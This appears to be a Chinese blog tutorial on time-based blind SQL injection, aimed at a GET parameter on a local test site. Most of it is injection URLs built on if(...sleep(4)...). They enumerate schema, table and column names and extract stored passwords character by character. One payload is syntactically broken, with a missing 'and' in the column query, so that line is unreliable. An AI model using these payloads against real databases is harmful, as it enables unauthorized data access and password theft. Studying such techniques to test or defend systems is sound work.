注:看這篇文章之前請先看上一篇文章<SQL注入--盲注入(bool型)>
一個帶GET參數的網站,並且不過對錯都返回相同的頁面!
http://127.0.0.1/index.php?id=1
http://127.0.0.1/index.php?id=1'
由於對錯返回的頁面一樣,無法通過頁面判斷對錯,就使用頁面刷新時間來判斷對錯;
具體情況請了解SQL的 if(SQL語句,sleep(4),null)語法。
如:select if(user()='root@localhost',sleep(4),null)
當user()='root@localhost'爲真時執行sleep(4),否則執行null。
注:
刷新時間可以通過瀏覽器的開發者選項f12來看,或者使用Firefox的firebug插件,或者burpsuite等工具都可以。
所以在文章<SQL注入--盲注入(bool型)>的基礎上對SQL語句進行修改:
爆庫名:
http://127.0.0.1/index.php?id=1' and if(
ascii(substr(
(select schema_name from information_schema.schemata limit 4,1),1,1
))=115
,sleep(4),null)%23
爆表名:
http://127.0.0.1/index.php?id=1' and if(
ascii(substr(
(select table_name from information_schema.tables where table_schema=0x73716c limit 0,1),1,1
))=117
,sleep(4),null)%23
爆字段:
http://127.0.0.1/index.php?id=1' and if(
ascii(substr(
(select column_name from information_schema.columns where table_schema=0x73716c table_name=0x75736572 limit 0,1),1,1
))=112
,sleep(4),null)%23
爆pwd
http://127.0.0.1/index.php?id=1' and if(
ascii(substr(
(select pwd from sql.user limit 0,1),1,1
))=49
,sleep(4),null)%23
SQL的詳細解釋請看文章<SQL注入--盲注入(bool型)>